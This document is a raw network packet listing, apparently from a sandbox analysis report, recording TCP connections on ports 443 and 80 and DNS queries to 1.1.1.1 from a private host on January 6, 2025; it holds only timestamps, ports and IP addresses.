Jan 6, 2025 14:26:44.345774889 CET	443	49756	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.345803022 CET	443	49756	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.345834970 CET	443	49756	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.345894098 CET	443	49756	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.345899105 CET	49756	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.345923901 CET	49756	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.345937014 CET	49756	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.346290112 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346330881 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346390009 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.346398115 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346512079 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346539974 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346560955 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.346565962 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346797943 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346831083 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346843958 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.346849918 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.346877098 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.346978903 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347012997 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347023964 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.347028971 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347071886 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.347076893 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347644091 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347687960 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347712040 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347740889 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.347753048 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347764969 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.347852945 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347878933 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347912073 CET	49756	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.347924948 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.347929001 CET	443	49756	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347929955 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.347982883 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.347986937 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.348647118 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.348675013 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.348695040 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.348701000 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.350039005 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.352149963 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.354053974 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.354083061 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.355046034 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.355119944 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.355410099 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.355468988 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.355557919 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.355565071 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.361110926 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.361129999 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.361198902 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.361391068 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.361404896 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.374946117 CET	49758	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.390073061 CET	49759	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.405352116 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.405684948 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436573982 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436602116 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436670065 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436692953 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.436706066 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436726093 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.436826944 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436851025 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436882019 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436894894 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.436902046 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.436924934 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.436940908 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.438046932 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.438611031 CET	49755	443	192.168.2.4	151.101.65.229
Jan 6, 2025 14:26:44.438621998 CET	443	49755	151.101.65.229	192.168.2.4
Jan 6, 2025 14:26:44.444997072 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.445038080 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.445115089 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.445281029 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.445292950 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.473459005 CET	443	49759	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.473500013 CET	443	49759	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.473546982 CET	49759	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.473556995 CET	443	49759	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.473568916 CET	443	49759	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.473613977 CET	49759	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.474602938 CET	49759	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.474607944 CET	443	49759	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.474934101 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.474981070 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.475013018 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.475033045 CET	49758	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.475044012 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.475076914 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.475084066 CET	49758	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.475091934 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.475137949 CET	49758	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.475145102 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.475158930 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.475538015 CET	49758	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.476890087 CET	49758	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.476902008 CET	443	49758	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.489306927 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.489346027 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.489379883 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.489404917 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.489409924 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.489422083 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.489459038 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.489480019 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.489485979 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.489494085 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.489936113 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.490036964 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.490044117 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.494044065 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.494070053 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.494112015 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.494118929 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.494139910 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.494183064 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.494569063 CET	49760	443	192.168.2.4	104.21.80.1
Jan 6, 2025 14:26:44.494577885 CET	443	49760	104.21.80.1	192.168.2.4
Jan 6, 2025 14:26:44.860004902 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.862549067 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.862560987 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.863456011 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.863518000 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.863823891 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.863881111 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.863926888 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.899559021 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:44.899586916 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:44.899657011 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:44.899800062 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:44.899816036 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:44.906378984 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.906390905 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.952204943 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.954586029 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.954879045 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.954889059 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.955877066 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.955943108 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.956231117 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.956290007 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.956343889 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.960901022 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.961071968 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.961194992 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.961220980 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.961246967 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.961257935 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.961271048 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.968911886 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.968961954 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.968987942 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.969027996 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.969038010 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.969067097 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.969129086 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.969400883 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.969450951 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.969459057 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:44.969501019 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:44.976768017 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.000957012 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.000972986 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.023360968 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.044435978 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.049712896 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.049776077 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.049828053 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.049838066 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.049851894 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.049892902 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.050216913 CET	49761	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.050225973 CET	443	49761	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.057735920 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.058073044 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.058116913 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.058124065 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.058233023 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.058260918 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.058300018 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.058305979 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.058346987 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.062239885 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.062328100 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.062378883 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.062385082 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.066525936 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.066556931 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.066610098 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.066615105 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.066658020 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.148638010 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.148740053 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.148767948 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.148791075 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.148799896 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.148844957 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.148895025 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152379036 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152410030 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152436972 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152456045 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.152461052 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152477026 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.152724981 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152757883 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152787924 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152806044 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.152810097 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.152821064 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.154783964 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.154807091 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.154851913 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.154855967 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.154901028 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.154905081 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.155196905 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.157191992 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.157226086 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.157239914 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.157243967 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.157268047 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.157326937 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.157365084 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.157407045 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.157413006 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.157450914 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.157810926 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.218125105 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.239171028 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239226103 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239263058 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239316940 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.239322901 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239366055 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.239370108 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239451885 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239487886 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239528894 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.239537001 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239578962 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.239584923 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.239636898 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.239814043 CET	49762	443	192.168.2.4	151.101.1.229
Jan 6, 2025 14:26:45.239825010 CET	443	49762	151.101.1.229	192.168.2.4
Jan 6, 2025 14:26:45.559143066 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:45.559391022 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:45.559402943 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:45.560257912 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:45.560323000 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:45.561244011 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:45.561297894 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:45.608827114 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:45.608850002 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:45.671932936 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:55.456480026 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:55.456547022 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:26:55.456595898 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:56.766844988 CET	49767	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:26:56.766866922 CET	443	49767	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:44.954761028 CET	49830	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:27:44.954782009 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:44.954842091 CET	49830	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:27:44.955323935 CET	49830	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:27:44.955332994 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:45.583014011 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:45.583519936 CET	49830	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:27:45.583529949 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:45.583811045 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:45.584070921 CET	49830	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:27:45.584130049 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:45.625103951 CET	49830	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:27:49.608935118 CET	49723	80	192.168.2.4	2.22.50.131
Jan 6, 2025 14:27:49.613876104 CET	80	49723	2.22.50.131	192.168.2.4
Jan 6, 2025 14:27:49.613984108 CET	49723	80	192.168.2.4	2.22.50.131
Jan 6, 2025 14:27:55.494265079 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:55.494327068 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:27:55.494396925 CET	49830	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:27:56.767429113 CET	49830	443	192.168.2.4	142.250.184.228
Jan 6, 2025 14:27:56.767442942 CET	443	49830	142.250.184.228	192.168.2.4
Jan 6, 2025 14:29:24.085932970 CET	54178	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:29:24.090718985 CET	53	54178	1.1.1.1	192.168.2.4
Jan 6, 2025 14:29:24.090804100 CET	54178	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:29:24.097233057 CET	53	54178	1.1.1.1	192.168.2.4
Jan 6, 2025 14:29:24.553783894 CET	54178	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:29:24.558917999 CET	53	54178	1.1.1.1	192.168.2.4
Jan 6, 2025 14:29:24.558980942 CET	54178	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 14:26:40.313117981 CET	53	52709	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:40.315519094 CET	53	64413	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:40.523861885 CET	64337	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:40.524048090 CET	62272	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:40.525537014 CET	64185	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:40.525667906 CET	52579	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:40.541596889 CET	53	64185	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:40.546694994 CET	53	52579	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:41.356580973 CET	53	51778	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:41.649574995 CET	63984	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:41.649719000 CET	58889	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:41.883192062 CET	56729	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:41.883347034 CET	58871	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:41.897890091 CET	53	58871	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:41.904958010 CET	53	56729	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:41.917778969 CET	58038	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:41.917898893 CET	53411	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:41.930140018 CET	53	53411	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:41.930149078 CET	53	58038	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:43.393508911 CET	62041	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:43.393686056 CET	57978	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:43.400249958 CET	53	62041	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:43.400263071 CET	53	57978	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:43.667435884 CET	53	59509	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:44.353764057 CET	57617	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:44.353904963 CET	59768	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:44.360470057 CET	53	57617	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:44.360621929 CET	53	59768	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:44.869303942 CET	53	63076	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:44.878998041 CET	53	62576	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:44.891351938 CET	50011	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:44.891650915 CET	65097	53	192.168.2.4	1.1.1.1
Jan 6, 2025 14:26:44.897975922 CET	53	50011	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:44.898133993 CET	53	65097	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:52.618170023 CET	53	62035	1.1.1.1	192.168.2.4
Jan 6, 2025 14:26:58.419186115 CET	53	49445	1.1.1.1	192.168.2.4
Jan 6, 2025 14:27:01.178622007 CET	138	138	192.168.2.4	192.168.2.255
Jan 6, 2025 14:27:17.508115053 CET	53	59014	1.1.1.1	192.168.2.4
Jan 6, 2025 14:27:40.136533976 CET	53	51767	1.1.1.1	192.168.2.4
Jan 6, 2025 14:27:40.444890022 CET	53	54400	1.1.1.1	192.168.2.4
Jan 6, 2025 14:28:10.366643906 CET	53	57928	1.1.1.1	192.168.2.4
Jan 6, 2025 14:28:54.930006027 CET	53	61902	1.1.1.1	192.168.2.4
Jan 6, 2025 14:29:24.085514069 CET	53	61506	1.1.1.1	192.168.2.4
Jan 6, 2025 14:29:33.637087107 CET	53	52581	1.1.1.1	192.168.2.4

